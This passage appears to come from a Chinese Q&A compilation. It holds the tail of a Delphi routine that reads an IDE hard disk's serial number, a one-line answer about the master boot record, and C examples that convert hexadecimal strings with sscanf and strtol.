cBufferSize := IDENTIFY_BUFFER_SIZE;
// bDriveNumber := 0;
with irDriveRegs do begin
bSectorCountReg := 1;
bSectorNumberReg := 1;
// if Win32Platform=VER_PLATFORM_WIN32_NT then bDriveHeadReg := $A0
// else bDriveHeadReg := $A0 or ((bDriveNum and 1) shl 4);
bDriveHeadReg := $A0;
bCommandReg := $EC;
end;
end;
if not DeviceIoControl(hDevice, $0007C088, @SCIP, SizeOf(TSendCmdInParams) - 1,
@aIdOutCmd, SizeOf(aIdOutCmd), cbBytesReturned, nil) then Exit;
finally
CloseHandle(hDevice);
end;
with PIdSector(@IdOutCmd.bBuffer)^ do begin
ChangeByteOrder(sSerialNumber, SizeOf(sSerialNumber));
(Pchar(@sSerialNumber) + SizeOf(sSerialNumber))^ := #0;
Result := Pchar(@sSerialNumber);
end;
end;

procere TForm1.Button2Click(Sender: TObject);
begin
Edit1.Text := strpas(GetIdeSerialNumber);
end;

end.

{新建工程,把代码粘进去,添加一个edit和一个
button命名和里面一样就行。在xp环境调试过,你试试吧}

‘柒’ 硬盘主引导记录工作原理

由MBR转跳给系统分区

‘捌’ 阵列卡硬盘空间16进制怎么转换

主要有两个方法,其实都是对现有函数的使用:

方法1: sscanf()

函数名: sscanf
功 能: 从字符串格式化输入
用 法: int sscanf(char *string, char *format[,argument,...]);

以上的 format 为 %x 就是将字符串格式化为 16 进制数

例子:

#include <stdio.h>
void main()
{
char* p = "0x1a";
int nValude = 0;
sscanf(p, "%x", &nValude);
printf("%d\r\n", nValude);
}

输出:
26


方法2: strtol()

函数名: strtol
功 能: 将字符串转换为长整数
用 法: long strtol(char *str, char **endptr, int base);

上面的base就是我们要转换为几进制数
例子:

#include <stdio.h>
#include <stdlib.h>
void main()
{
char* p = "0x1b";
char* str;
long i = strtol(p, &str, 16);
printf("%d\r\n", i);
}

输出:
27

其实还有一种方法,就是用一个初始化为0~9~a~f的字符串数组,也就是一个十六进制对应表,用这个对应表即可算出一个十六进制字符串的数值,但这种发发太麻烦了,不推荐使用。